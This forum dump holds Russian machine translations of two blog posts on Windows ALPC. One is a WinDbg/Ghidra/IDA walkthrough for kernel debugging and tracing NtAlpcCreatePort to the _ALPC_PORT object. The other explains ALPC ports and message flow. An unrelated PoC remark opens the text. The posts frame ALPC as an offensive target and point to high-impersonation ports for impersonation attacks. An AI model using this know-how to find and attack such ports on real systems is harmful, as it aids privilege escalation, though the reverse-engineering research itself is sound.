Это всего лишь РоС, в котором будут недочеты, ошибки, оверфлоу и прочая ерунда. До продакшна это надо еще отдебажить. Кроме того, если софт будет 32 бит, а браузер 64, придется юзать какой-то вариант HG.
Но, может кому пригодится.

Debugging and Reversing ALPC
ID: 6765d804b4103b69df3758b7
Thread ID: 68639
Created: 2022-06-14T05:34:22+0000
Last Post: 2022-06-14T05:34:22+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 1K

Введение и отказ от ответственности ​

Этот пост является дополнением к моему путешествию по обнаружению и проверке внутреннего устройства ALPC, которое я задокументировал в статье «Внутреннее устройство Offensive Windows IPC 3: ALPC» . При подготовке этого блога я подумал, что второй пост, объясняющий шаги по отладке, которые я предпринял для проверки и обнаружения поведения ALPC, может быть полезен всем нам, новичкам в области обратного проектирования и/или отладки.

Хотя я, безусловно, использовал приемы и методы, показанные в этом посте ниже, это не единственные мои ресурсы и инструменты для погружения в ALPC. Даже намек на это подорвал бы важную и важную работу других исследователей, которые документировали и реверсировали внутренности ALPC в прошлом, таких как Алекс Ионеску и [многие другие ](https://csandker.io/2022/05/24/Offensive-Windows- IPC-3-ALPC.html#references). Отсюда и эта оговорка.

Приведенные ниже методы практичны и полезны, но я смог применить их только благодаря работе других.

Еще одно важное предупреждение: я ни в коем случае не являюсь опытным реверс- инженером, и этот пост в блоге не предназначен для того, чтобы быть введением в «как стать реверс-инженером» или показать умный способ попасть в эту область. Это сообщение «Используйте отладку Windows, чтобы наткнуться на тему и осмотреться».

Подготовка среды ​

Чтобы выполнить шаги, показанные ниже, вы хотите настроить среду отладки ядра. Если у вас уже настроена среда отладки ядра, смело переходите к разделу [Начало работы ](https://csandker.io/2022/05/29/Debugging-And-Reversing- ALPC.html#getting-off-the-ground). Если вы этого не сделаете, у вас есть два основных варианта для этой настройки:

  • Локальная отладка живого ядра
  • Удаленная отладка ядра

Хотя для локальной отладки ядра требуется только одна тестовая машина (виртуальная виртуальная машина) и только одна команда и перезагрузка для настройки, тем не менее я рекомендую запустить две машины (виртуальные машины) и настроить их для удаленной отладки. Причина этого в том, что локальная оперативная отладка ядра сопряжена с некоторыми ограничениями, и вы не можете использовать полный набор функций отладки и не можете использовать все пути. Тем не менее, я также включу шаги по настройке локальной отладки ядра, если у вас есть только одна машина в вашей тестовой среде.

Настроить локальную отладку ядра

Необходимо выполнить следующие шаги:

  1. Запустите тестовую машину или виртуальную машину

  2. Если у вас еще не установлен WinDbg , загрузите и установите отсюда чтобы установить WinDbg.
    В качестве альтернативы вы также можете использовать предварительный просмотр WinDbg из приложения Магазина Windows.

  3. Откройте PowerShell с правами администратора и выполните следующую команду, чтобы включить локальную отладку ядра: PS:> bcdedit /debug on & bcdedit /dbgsettings local

  4. Перезагрузите машину

  5. Откройте WinDbg и войдите в режим локальной отладки ядра, выполнив следующую команду: .\windbg.exe -kl
    В качестве альтернативы вы также можете открыть графический интерфейс WinDbg, щелкнув «Файл» «Отладка ядра» (Ctrl + K) «Локальный (Tab)» «ОК».

1655183166063.png

Примечание о пользовательском макете, показанном выше

В моем случае мне нравится располагать и выравнивать окна отладки определенным образом (а также иметь цвета, имитирующие темную тему). Вы можете сделать все это, запустив WinDbg, открыть и расположить все окна так, как вам нравится, изменить цвет (если хотите) в разделе « Вид» » «Параметры» «Цвета» и, наконец, сохранить все настройки рабочей области через Файл» » Сохранить рабочую область в файл. После этого вы можете открыть локальную отладку ядра WinDbg с помощью настроенной рабочей области следующим образом: .\windbg.exe -WF .WEW -kl
Все параметры командной строки WinDbg можно найти [здесь. ](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/windbg- command-line-options)

Настройка удаленной отладки ядра

  1. Запустите свою первую тестовую машину или виртуальную машину, которую вы хотите отлаживать, она будет называться отлаживаемой машиной.

  2. Если у вас еще не установлен kdnet.exe , загрузите и установите WindowsSDK отсюда, чтобы установить его.

  3. Откройте PowerShell с правами администратора и выполните следующую команду: cd "C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\" && .\kdnet.exe '
    Я обычно использую *51111 в качестве номера порта. Эта команда даст вам инструкции командной строки для использования в отладчике, см. шаг 6.*

  4. Запустите вторую тестовую машину или виртуальную машину, которую вы хотите использовать для отладки первой виртуальной машины. Она будет называться отладочной машиной.

  5. Если у вас еще не установлен WinDbg , загрузите и установите WindowsSDK отсюда, чтобы установить его.
    В качестве альтернативы вы также можете использовать предварительный просмотр WinDbg из приложения Магазина Windows.

  6. Выполните следующую команду, чтобы запустить WinDbg и подключить его к отлаживаемой машине: cd "C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\" && .\windbg.exe -k <PASTE-OUTPUT-FROM-kdnet.exe-FROM-YOUR-DEBUGGEE>.
    Команда для вставки из kdnet.exe (шаг 3) будет выглядеть примерно так: net:port=,key=....
    Вы увидите приглашение, указывающее, что отладчик настроен и ожидает подключения.

  7. Перезагрузите отлаживаемую машину. Вернитесь к своей отладчиком , которая будет подключаться во время процесса загрузки вашей отлаживаемой.

Возможно, вы заметили, что я упомянул WinDbg Preview как альтернативу классическому отладчику WinDbg. Эта предварительная версия представляет собой обновленную версию классического отладчика и имеет совершенно другой пользовательский интерфейс (включая встроенную темную тему). Если вы смотрите на одноразовую установку и эмоционально не привязаны к старому/классическому WinDbg, я рекомендую вам попробовать WinDbg Preview. Единственная причина, по которой я еще не использую его, связана с тем, что вы не можете экспортировать настройки рабочей области (макет окна), что является важной функцией для меня в моей лаборатории (которую я часто перестраиваю).
В результате ниже я буду использовать классический WinDbg.

Настройка символов

После того, как вы настроили WinDbg, последний подготовительный шаг, который вам нужно сделать, — это настроить отладчик так, чтобы он извлекал символы отладки с официального сервера символов Microsoft.

Запустите следующий набор команд в WinDbg для настройки символов:

  1. В WinDbg запустить .sympathчтобы показать текущую конфигурацию пути символа.
    Если это похоже на приведенное ниже, в котором указано, что вы хотите, чтобы ваши символы загружались с сервера символов Microsoft и кэшировались в C:\Symbols, все готово…1655183231759.png

  2. Если ваш вывод не выглядит так, и вы просто хотите получить все свои символы с официального сервера символов Microsoft, выполните следующую команду в WinDbg: .sympath srv*https://msdl.microsoft.com/download/symbols

Подробнее о серверах символов, кэшировании и о том, как и почему, можно узнать на странице документации Microsoft [здесь ](https://docs.microsoft.com/en- us/windows-hardware/drivers/debugger/symbol-path#using-a-symbol-server).
Допустим, мы вообще ничего не знаем об ALPC и хотим начать копаться и понимать, как работает ALPC под капотом. Поскольку ALPC не задокументирован, мы не можем начать наше путешествие, заглядывая в богатые каталоги документации Microsoft, но вместо этого мы должны применить методологию, основанную на цикле реверсирования, принятия предположений, проверки предположений и проверки/фальсификации предположений, чтобы, наконец, построить нашу картину ALPC.
Хорошо, если мы ничего не знаем о технологии, кроме ее названия (ALPC), мы можем запустить наш отладчик ядра WinDbg и начать получать некоторую информацию о ней, разрешая вызовы функций, которые содержат имя «ALPC» — это может быть не так. самая умная отправная точка, но это не имеет значения, мы начинаем с чего-то и идем дальше…
Команда WinDbg, которая нам нужна для этого: kd:> x *!Alpc

1655183330094.png

Эта команда будет разрешать имена функций следующего шаблона [ModuleName]![FunctionName], где мы можем использовать подстановочные знаки ('*') как для имен модулей, так и для имен функций. В данном случае это означает, что мы разрешаем все функции, которые содержат слово «Alpc» в своих именах во всех загруженных модулях.
Если вы впервые работаете с WinDbg (или вы похожи на меня и склонны забывать, что означают определенные команды), вы всегда можете использовать меню справки WinDbg для поиска команды через: kd:> .hh [Command], как показано ниже:

1655183357764.png

_Примечание: несмотря на то, что введенная вами команда предварительно выбрана, на самом деле вам нужно нажать кнопку «Показать». Другой вариант — найти команды отладчика онлайн[здесь ](https://docs.microsoft.com/en- us/windows-hardware/drivers/debugger/commands). _
Если вы получаете сообщение об ошибке, говорящее о том, что что-то не может быть разрешено, скорее всего, у вас не настроен путь к символу. Убедитесь, что ваши символы либо хранятся локально, либо загружаются с _https://msdl.microsoft.com/download/symbols _(или с обоих). Вы можете проверить свою симпатию с помощью: .sympath

1655183397875.png

Если вы правильно настроили путь к символу, вы получите большое количество результатов, показывающих все виды функций, которые содержат имя «ALPC». Если что-то занимает слишком много времени (из-за опечатки, или что-то не может быть решено, или возникла какая-либо другая проблема), вы всегда можете нажать _< CTRL>+ _или открыть меню « Отладка и нажать Break» , чтобы остановить текущее действие:

1655183431359.png

Отсюда вы должны скопировать все разрешенные функции в редактор по вашему выбору (я использую VisualStudio Code ) и отсортировать их по имени, чтобы получить представление о том, какие функции Alpc существуют в каких модулях и могут принадлежать каким компонентам. Здесь вам очень поможет строгое соглашение об именах,
применяемое к кодовой базе Windows, поэтому давайте посмотрим на это:

1655183457090.png

Чтобы сделать это более читабельным:

Code:Copy to clipboard

00007ff9`49498c54       >> The function address
ntdll                   >> The module name ("ntddl" in this case)
!                       >> The seperator
Tp                      >> Abbreviation of the component ("Thread Pool" in this case)
p                       >> Abbreviation of the function type ("private")
AllocAlpcCompletion     >> Descriptive name of the functions

Глядя только на этот самый первый разрешенный вызов функции, мы можем сделать предположение, что эта функция является частной функцией в ThreadPool компоненте ntdll.dll , который, вероятно, выделяет часть памяти для чего-то.
Применяя эти знания ко всем перечисленным функциям, мы можем отсортировать и организовать разрешенные функции, чтобы создать приблизительную картину того, где (в кодовой базе) они реализованы:

1655183536376.png

Ценность этого шага не в том, чтобы быть точным на 100% или получить метку, назначенную каждой функции, а вместо этого создать приблизительное отображение того, какие части ОС связаны с ALPC, и какие из этих модулей и названия функций кажутся знакомыми, а какие нет. 'т.
Отсюда мы можем перейти к модулям, которые кажутся нам знакомыми (или интересными). Например, мы заметили ntdllмодуль, который, как мы знаем, является пограничным шлюзом пользовательской области для вызова собственных системных (ядерных) служб (функций). Таким образом, мы можем предположить, что Windows позволяет пользовательским процессам вызывать определенные функции ALPC, что сводится к предположению, что «ALPC можно использовать из пользовательских приложений».
Глядя только на функции «Alpc» внутри ntdll , мы можем обнаружить, что существует 4 типа функций:

  • Бескомпонентные функции, например: ntdll!AlpcRegisterCompletionList
  • Nt-компонентные функции, например: ntdll!NtAlpcCreateResourceReserve
  • Zw-компонентные функции, например: ntdll!ZwAlpcCreateResourceReserve
  • Функции Tp-Component, например: ntdll!TppAllocAlpcCompletion

Поскольку функции Nt и Zw предназначены для вызова одних и тех же функций ядра (см. [здесь ](https://docs.microsoft.com/en-us/windows- hardware/drivers/kernel/libraries-and-headers), [здесь ](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/what-does- the-zw-prefix-mean-)и [здесь ](https://stackoverflow.com/questions/4770553/windows-native-api-when-and-why- use-zw-vs-nt-prefixed-api-calls)почему они существуют), мы можем спокойно игнорировать одну из них, поэтому мы отключим функции Zw. Я сам не очень хорошо знаком с менеджером пула потоков, поэтому я также Tp функции

1655183568789.png

_Опять же, цель здесь не в том, чтобы выбрать конкретный набор функций, а просточтобы сделать выбор на основе чего-то. Всегда полезно выбирать то, что вы знаете или звучит знакомо, и циклически повторять путь обучения оттуда… _
Верхний список бескомпонентных функций ALPC содержит много имен функций, содержащих слова «CompletionList», которые могут показаться вам знакомыми или нет. Нижний список функций Nt ALPC, с другой стороны, кажется довольно разнородным, и, основываясь на Nt соглашении об именах компонентов Мы углубились так далеко, поэтому давайте возьмем одну из этих функций и начнем реверсивную работу.
Нет правильного или неправильного выбора, вам может повезти, и вы выберете функцию, предназначенную для использования на ранней стадии настройки ALPC, которая имеет дополнительные подсказки о том, как использовать ALPC, или вы можете неосознанно выбрать функцию. это предназначено только для специальных сценариев ALPC … радость от недокументированных вещей…
На данный момент мы не можем знать, какая функция является хорошей отправной точкой, поэтому давайте выберем ту, которая, по крайней мере, звучит так, как будто она предназначена для использования в начале процесса, например что-то с Create в своем имени:

1655183621476.png

Я, очевидно, уже знаю, что эта функция будет полезна, так что простите меня за танец «давайте выберем что-нибудь наугад».

От пользователя к ядру ​

Давайте запустим Ghidra и посмотрим на NtAlpcCreatePortфункционировать внутри ntdll.dll:

1655183662169.png

Хорошо… это не слишком полезно… и к тому же выглядит странно. Системный вызов выполняется без аргументов, после чего функция возвращает целое число 0x79
Двойная проверка этого декомпилированного кода с фактическими инструкциями, отображаемыми рядом с декомпилированным окном, показывает другую картину:

1655183693261.png

Фактические инструкции кода показывают, что целочисленное значение 0x79 перемещается в EAX , а затем выполняется системный вызов . Быстро дважды проверьте это с помощью IDA Free , чтобы убедиться

1655183724663.png

Да, хорошо, это имеет больше смысла. Первый вывод: [Ghidra ](https://ghidra- sre.org/)— действительно отличный инструмент, функция декомпиляции может быть ненадежной (даже для простых функций), но, с другой стороны: автоматическая декомпиляция — это огромная функция, которая здесь раздается бесплатно, так что никаких обид о некоторых ошибках и ручной двойной проверке.

Мы поняли NtAlpcCreatePortфункционировать внутри ntdll.dllв значительной степени вызывает режим ядра сразу, используя номер системного вызова 0x79(121 в десятичной системе).
Отсюда мы получили три варианта продолжения:

  • Сразу же отправляйтесь в ядро и ищите функцию с похожим именем и надеемся, что мы получим правильное (имена функций ntdll и ядра часто очень похожи) — это наименее надежный метод.
  • Найдите номер системного вызова ( 0x79) в Интернете, чтобы найти соответствующую функцию ядра.
  • Вручную выполните процесс получения и разрешения номера системного вызова в вашей хост-системе — это самый надежный метод.

Давайте пропустим ленивый вариант 1 (наименее надежный) и проверим варианты два и три.

Поиск номера системного вызова онлайн

Один из лучших (и самых известных) ресурсов для поиска номеров системных вызовов — https://j00ru.vexillium.org/syscalls/nt/64/ (системные вызовы x86 можно найти здесь ).

1655183761584.png

Для моей системы Windows 10 20H2 этот отличный онлайн-ресурс напрямую указывает мне на функцию ядра с именем «NtAlpcCreatePort».

Пошаговое выполнение системного вызова вручную

_Я изучил и применил процесс на[сайте www.ired.team ](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel- internals/glimpse-into-ssdt-in-windows-x64-kernel), все заслуги и похвалы принадлежат ired.team! _

Мы можем использовать WinDbg для ручного извлечения соответствующей функции ядра из наших отлаженных хост-систем. Здесь задействовано 6 шагов:

  • Установка точки останова в ntdll в ntdll!NtAlpcCreatePortчтобы перейти в функцию. Это можно сделать с помощью следующей команды WinDbg:
    kd:> bp ntdll!NtAlpcCreatePort

  • Убедитесь, что наша точка останова установлена правильно, с помощью: kd:> bl1655183830228.png

  • Пусть отладчик работает до тех пор, пока не будет достигнута эта точка останова в ntdll: kd:> g

  • Убедитесь, что мы находимся в правильном месте и перед вами системный вызов: kd:> u .(разобрать следующие инструкции)

1655183871810.png

  • Найдите смещение в SSDT (таблица дескрипторов системных служб) для номера системного вызова, 0x79 : kd:> dd /c1 kiservicetable+4*0x79 L1
  • Проверка адреса функции системного вызова по смещению SSDT: kd:> u kiservicetable + (02b62100>>>4) L1

Все эти шаги можно найти на скриншоте ниже:

1655183899243.png

Используя любой из этих трех методов, мы пришли бы к такому результату, что ntdll!NtAlpcCreatePortобращается к ядру в nt!NtAlpcCreatePort

Охота на объект ALPC ​

Теперь мы поняли, что в конечном итоге вызовем ядро в nt!NtAlpcCreatePort, так что давайте посмотрим на это.
Мы можем запустить IDA Free ( Ghidra тоже подойдет), открыть ntoskrnl.exe из нашего системного каталога, например, C:\Windows\System32\ntoskrnl.exe , загрузить общедоступные символы Microsoft, и мы сможем найти вызов функции NtAlpcCreatePort. Оттуда мы можем просмотреть вызываемые функции, чтобы получить первое представление о том, что происходит под капотом для этого вызова.

1655183936952.png

После первых нескольких вызовов функций мы направимся к вызову ObCreateObjectEx, который является вызовом функции ObjectManager (Ob) для создания объекта ядра. Похоже, наш объект ALPC создан здесь, и IDA также сообщает нам, что это за объект, двумя строками над отмеченным вызовом в окне справа, AlpcPortObjectType. На данный момент я хотел бы попытаться заполучить такой объект, чтобы лучше понять и понять, что это на самом деле. Как функция ObCreateObjectExсоздаст объект, план здесь состоит в том, чтобы переключиться обратно на WinDbg и установить точку останова сразу после этого вызова, чтобы найти и проверить созданный объект.

1655183980036.png

После установки этой точки останова мы нажимаем gчтобы позволить WinDbg работать, и как только он срабатывает, мы проверяем, можем ли мы найти созданный объект, на который где-то ссылаются. Надежный метод для этого — следовать процессу создания объекта в ObCreateObjectExи отследить, где хранится объект после завершения функции (менее надежный вариант — проверить общие регистры и стек после завершения функции).
В этом случае мы можем найти созданный объект ALPC в регистре RCX, как только мы достигнем нашей точки останова.

1655184009945.png

Сладко, мы нашли недавно созданный объект порта ALPC. В этот момент !objectКоманда может сообщить нам тип объекта, расположение его заголовка и его имя, но не может добавить дополнительную информацию об этом объекте, потому что теперь не знает его внутренней структуры. Мы тоже не знаем, но можем проверить, есть ли внутри ядра подходящая общедоступная структура, которую мы можем разрешить. Мы попробуем это с kd:> dt nt!AlpcPort…

1655184039898.png

Мы снова использовали подстановочные знаки в сочетании с информацией, которую мы получили до сих пор, а именно: мы ищем структуру внутри модуля ядра ( nt), и мы ищем структуру, которая соответствует объекту, который, как мы знали, имеет тип AlpcPortObjectType.. Соглашение об именах в Windows часто называет структуры с начальным символом подчеркивания и всеми заглавными буквами. Первый хит ntkrnlmp!_ALPC_PORTвыглядит многообещающе, так что давайте поместим наш захваченный объект порта ALPC в эту структуру:

1655184067430.png

Это действительно похоже на совпадение, однако некоторые атрибуты, которые можно было бы ожидать установить, пусты, например атрибут «OwnerProcess». Прежде чем мы выбросим наше совпадение в мусорное ведро, давайте вспомним, что мы все еще находимся в точке останова сразу после ObCreateObjectEx, значит, объект только что создан. Возвращаясь к функциям, которые мы прошли в IDA, мы можем обнаружить, что есть еще пара функций, которые нужно вызвать внутри AlpcpCreateConnectionPortфункция, такая как AlpcpInitializePort, AlpcpValidateAndSetPortAttributesи другие. Похоже, впереди еще кое-что, что мы хотим поймать.
Прямо сейчас мы находимся в каком-то процессе, который создал порт ALPC (до сих пор мы даже не удосужились проверить, какой это процесс), и мы хотим перейти к месту кода после завершения всех функций инициализации и проверить, что наш Структура порта ALPC выглядит так, поэтому вот краткое изложение того, что мы хотим сделать:

  1. Мы хотим записать адрес нашего объекта ALPC для дальнейшего использования.
  2. Мы хотим найти конец AlpcpCreateConnectionPortфункция.
  3. Мы хотим перейти к этому месту в том же процессе, в котором мы сейчас находимся,
  4. Мы хотим загрузить отмеченный нами объект ALPC в ntkrnlmp!_ALPC_PORTструктуры, чтобы увидеть, как это выглядит.

А вот как это сделать…

  1. Записываем адрес объекта ALPC… Готово: ffffac0e27ab96e0

1655184098437.png

2. Нахождение конца AlpcpCreateConnectionPort… Готово 0xfffff803733823c9

1655184152176.png

Перейти на этот адрес в рамках того же процесса можно с помощью этой команды kd:> bp /p @$proc fffff803733823c9
_Примечание. Я также проверяю, в каком процессе я нахожусь до и после вызова, просто чтобы быть в безопасности.

1655184177905.png_

Еще раз проверьте структуру объекта ALPC…

1655184238295.png

Это выглядит более полным, и отсюда мы могли бы пройтись по всему объекту настройки ALPC так же просто, как использовать ссылки, предоставленные WinDbg, чтобы проверить, какие другие структуры и ссылки связаны с этим объектом.
Просто в качестве примера и чтобы дважды подтвердить, что этот объект порта ALPC действительно принадлежит svchost.exe , который мы определили выше, мы можем проверить _EPROCESS , показанную на ntkrnlmp!_ALPC_PORT + 0x18:

1655184276245.png

Мы находим ImageFileName процесса-владельца объекта ALPC, который, как мы поймали, является «svchost.exe», что соответствует процессу, в котором мы сейчас находимся.
На данный момент мы нашли объект порта ALPC со всеми настройками, который мы можем далее проанализировать в WinDbg, чтобы изучить другие атрибуты этого объекта ядра. Я не собираюсь углубляться в этот момент, но если вы увлеклись копанием глубже, не стесняйтесь продолжать исследовательский тур.
Если вы следуете этому пути, возможно, вы захотите изучить атрибуты порта ALPC, назначенные найденному вами объекту порта, которые отслеживаются в nt!_ALPC_PORT_ATTRIBUTESструктура в nt!_ALPC_PORT + 0x100для проверки [Quality of Service ](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns- winnt-security_quality_of_service)(QOS), назначенного этому объекту ( nt!_ALPC_PORT + 0x100 + 0x04).
Если вы обнаружили объект порта ALPC с [уровнем имперсонации](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne- winnt-security_impersonation_level)выше SecurityIdentification , возможно, вы нашли интересную цель для [атаки с имперсонацией ](https://csandker.io/2022/05/24/Offensive-Windows- IPC-3-ALPC.html#impersonation-and-non-impersonation), подробно описанной в моем предыдущем посте Offensive Windows IPC Internals 3: ALPC .

1655184399361.png

К настоящему времени вы должны быть готовы исследовать и копаться в ALPC. Первые шаги, очевидно, будут медленными, и вы (и я) сделаете несколько неправильных поворотов, но это часть опыта каждого.
Если бы я мог добавить последнее замечание, чтобы помочь в радостной поездке, это было бы так: мне лично нравится читать старые добрые книги в мягкой обложке, чтобы учиться, копать глубже и улучшать свои навыки работы с внутренними компонентами Windows. Если вы относитесь к тому же типу, вам могут понравиться эти ссылки на книги (если они еще не лежат у вас на столе):

Внутренние компоненты Windows IPC: ALPC /3/
ID: 6765d804b4103b69df3758b8
Thread ID: 68637
Created: 2022-06-14T04:34:09+0000
Last Post: 2022-06-14T04:34:09+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 1K

Автор: 0xcsandker
Оригинальная [статья тут.](https://csandker.io/2022/05/24/Offensive-Windows- IPC-3-ALPC.html)

Введение ​

После обсуждения двух протоколов межпроцессного взаимодействия (IPC), которые можно использовать как удаленно, так и локально, а именно Named Pipes и RPC, мы рассмотрим технологию ALPC, которую можно использовать только локально. В то время как RPC расшифровывается как Remote Procedure Call, ALPC расшифровывается как Advanced Local Procedure Call, иногда также упоминается как Asynchronous Local Procedure Call. Особенно позднее упоминание (асинхронный) является отсылкой к временам Windows Vista, когда ALPC был представлен для замены LPC (Local Procedure Call), который был предшествующим механизмом IPC, используемым до появления Windows Vista.

Кратко о LPC

Механизм локального вызова процедур был представлен в оригинальном ядре Windows NT в 1993-94 годах в качестве синхронного средства межпроцессного взаимодействия. Его синхронная природа означала, что клиенты/серверы должны были ждать отправки сообщения и выполнения действий, прежде чем выполнение могло быть продолжено. Это был один из основных недостатков, который был призван заменить ALPC, и причина, по которой ALPC некоторые называют асинхронным LPC.
О ALPC стало известно в Windows Vista, и, по крайней мере, начиная с Windows 7, LPC был полностью удален из ядра NT. Чтобы не ломать устаревшие приложения и обеспечить обратную совместимость, которой так славится Microsoft, функция, используемая для создания порта LPC, была сохранена, но вызов функции был перенаправлен на создание не LPC, а ALPC порта.

1655176924024.png

Поскольку LPC практически отсутствует после Windows 7, этот пост будет посвящен только ALPC, так что давайте вернемся к нему.
Но если вам, как и мне, нравится читать старую документацию о том, как все начиналось и как все работало раньше, вот статья, в которой подробно рассказывается о том, как LPC работал в Windows NT 3.5:http: //web.archive.org/web/20090220111555/http://www.windowsitlibrary.com/Content/356/08/1.html

Назад к ALPC

ALPC — это быстрое, очень мощное и очень широко используемое в ОС Windows (внутренне) средство межпроцессного взаимодействия, но оно не предназначено для использования разработчиками, поскольку для Microsoft ALPC — это внутреннее средство IPC, что означает, что ALPC недокументирован и используется только в качестве базовой технологии транспортировки для других, задокументированных и предназначенных для использования разработчиками протоколов транспортировки сообщений, например RPC.
Тот факт, что ALPC не задокументирован (Microsoft), однако, не означает, что ALPC — это полный черный ящик, поскольку умные люди, такие как Алекс Ионеску , как он работает и какие компоненты у него есть. Но на самом означает , что вы не должны полагаться на какое-либо поведение ALPC для какого-либо долгосрочного производственного использования, и, более того, вам действительно не следует использовать ALPC напрямую для создания программного обеспечения, поскольку существует множество неочевидных ловушек, которые могут вызвать проблемы с безопасностью или стабильностью.

ALPC — очень интересная цель, но она не предназначена для (не Microsoft) использования в разработке продукции. Также вам не следует полагаться на то, что вся информация в этом посте является или продолжает быть точной на 100%, поскольку ALPC не задокументирован.

Click to expand...

ALPC Внутренние устройства ​

Хорошо, давайте углубимся в некоторые внутренности ALPC, чтобы понять, как работает ALPC, какие движущиеся части участвуют в коммуникациях и как выглядят сообщения, чтобы, наконец, понять, почему ALPC может быть интересной целью с точки зрения наступательной безопасности.

Основы ​

Чтобы оторваться от земли, следует отметить, что основными компонентами связи ALPC являются портовые объекты ALPC. Объект порта ALPC является объектом ядра, и его использование аналогично использованию сетевого сокета, когда сервер открывает сокет, к которому клиент может подключиться для обмена сообщениями.
Если вы запустите [WinObj ](https://docs.microsoft.com/en- us/sysinternals/downloads/winobj)из Sysinternals Suite , вы обнаружите, что в каждой ОС Windows работает много портов ALPC, некоторые из них можно найти в корневом пути, как показано ниже:

1655177024378.png

… но большинство портов ALPC размещены по пути «Управление RPC» (помните, что RPC использует ALPC под капотом):

1655177087582.png

Чтобы начать работу с ALPC-связью, сервер открывает порт ALPC, к которому могут подключаться клиенты, который называется портом подключения ALPC , однако это не единственный порт ALPC, который создается во время потока связи ALPC (как вы увидим в следующей главе). Еще два порта ALPC создаются для клиента и сервера для передачи сообщений.
Итак, первое, на что следует обратить внимание, это:

  • Всего в обмене данными ALPC задействовано 3 порта ALPC (2 на стороне сервера и 1 на стороне клиента).
  • Порты, которые вы видели на WinObj выше, — это порты подключения ALPC , к которым может подключаться клиент.

Несмотря на то, что всего в ALPC-коммуникациях используется 3 порта ALPC, и все они называются по-разному (например, «Порты подключения ALPC»), существует только один объект ядра порта ALPC, в котором все три порта используются в Связь ALPC, создание экземпляра. Скелет этого объекта ядра ALPC выглядит следующим образом:

1655177129277.png

Как видно выше, объект ядра ALPC — довольно сложный объект ядра, ссылающийся на различные другие типы объектов. Это делает его интересной целью для исследований, но также оставляет хороший запас для ошибок и/или пропущенных путей атаки.

Поток сообщений ALPC ​

Чтобы углубиться в ALPC, мы рассмотрим поток сообщений ALPC, чтобы понять, как сообщения отправляются и как они могут выглядеть. Прежде всего, мы уже узнали, что 3 объекта порта ALPC участвуют в сценарии связи ALPC, первый из которых является портом соединения ALPC , который создается серверным процессом и к которому могут подключаться клиенты (аналогично сетевому сокету). . Как только клиент подключается к порту подключения сервера ALPC, ядро создает два новых порта, называемых портом связи сервера ALPC и портом связи клиента ALPC.

1655177172339.png

После того, как порты связи сервера и клиента установлены, обе стороны могут отправлять сообщения друг другу, используя единую функцию NtAlpcSendWaitReceivePortподвергается воздействию ntdll.dll.
Название этой функции звучит как три вещи сразу — Send, Wait и Receive — и это именно то, что есть. Сервер и клиент используют эту единственную функцию для ожидания сообщений, отправки и получения сообщений через свой порт ALPC. Это звучит ненужно сложно, и я не могу точно сказать, почему он был построен таким образом, но вот мое предположение: помните, что ALPC был создан как быстрое средство связи только для внутреннего использования, а канал связи был построен вокруг одного объект ядра (порт ALPC). Использование этой трехсторонней функции позволяет выполнять несколько операций, например отправку и получение сообщения, в одном вызове и, таким образом, экономит время и уменьшает количество переключений между пользователем и ядром. Кроме того, эта функция выступает в качестве единого входа в процесс обмена сообщениями и, следовательно, упрощает изменение кода и оптимизацию (связь ALPC используется во многих различных компонентах ОС, от драйверов ядра до пользовательских приложений с графическим интерфейсом, разработанных разными внутренними командами). Наконец, ALPC задуман как внутренний механизм IPC, поэтому Microsoft не нужно проектировать его в первую очередь для пользователя или стороннего разработчика.
В рамках этой единственной функции вы также указываете, какое сообщение вы хотите отправить (существуют разные типы с разными последствиями, мы вернемся к этому позже) и какие другие атрибуты вы хотите отправить вместе с вашим сообщением (опять же, мы перейти к вещам, которые вы можете отправить вместе с сообщением, позже в главе [Атрибуты сообщения ALPC ](https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html#alpc- message-attributes)).

Пока это звучит довольно прямолинейно: сервер открывает порт, клиент подключается к нему, оба получают дескриптор коммуникационного порта и отправляют сообщения через единую функцию. NtAlpcSendWaitReceivePort… легкий.
Мы будем на высоком уровне, это так просто, но вы наверняка пришли сюда за подробностями, а в заголовке поста было сказано «внутренности», так что давайте пристегнемся и посмотрим поближе:

  1. Серверный процесс вызывает NtAlpcCreatePort с выбранным именем порта ALPC, например ' CSALPCPort ', и, необязательно, с SecurityDescriptor , чтобы указать, кто может к нему подключаться.
    Ядро создает объект порта ALPC и возвращает дескриптор этого объекта на сервер, этот порт называется портом подключения ALPC.

  2. Сервер вызывает NtAlpcSendWaitReceivePort , передавая дескриптор своего ранее созданного порта подключения, чтобы дождаться клиентских подключений

  3. Затем клиент может вызвать NtAlpcConnectPort с помощью:

    • Имя порта ALPC сервера ( CSALPCPort)
    • (НЕОБЯЗАТЕЛЬНО) сообщение для сервера (например, отправить волшебное ключевое слово или что-то еще)
    • (НЕОБЯЗАТЕЛЬНО) SID сервера, чтобы клиент мог подключиться к нужному серверу.
    • (НЕОБЯЗАТЕЛЬНО) атрибуты сообщения для отправки вместе с запросом на подключение клиента
      _(Атрибуты сообщения будут подробно описаны в главе[Атрибуты сообщения ALPC ](https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html#alpc- message-attributes)) _
  4. Затем этот запрос на подключение передается на сервер , который вызывает NtAlpcAcceptConnectPort , чтобы принять или отклонить запрос клиента на подключение.
    (Да, хотя функция называется NtAlpcAccept… эту функцию также можно использовать для отклонения клиентских подключений. Последний параметр этой функции является логическим значением, указывающим, принимаются ли подключения (если установлено значение true) или отклонено (если установлено значение false).
    Сервер также может:

    • (НЕОБЯЗАТЕЛЬНО) вернуть сообщение клиенту с принятием или отклонением запроса на подключение и/или…
    • (НЕОБЯЗАТЕЛЬНО) добавьте к этому сообщению атрибуты сообщения и/или ..
    • (НЕОБЯЗАТЕЛЬНО) выделить пользовательскую структуру, например уникальный идентификатор, который прикрепляется к коммуникационному порту сервера для идентификации клиента
      — Если сервер принимает запрос на соединение, сервер и клиент получают дескриптор коммуникационного порта —
  5. Клиент и сервер теперь могут отправлять и получать сообщения друг от друга через NtAlpcSendWaitReceivePort , где:

    • Клиент прослушивает и отправляет новые сообщения на свой коммуникационный порт
    • Сервер прослушивает и отправляет новые сообщения на свой подключения порт
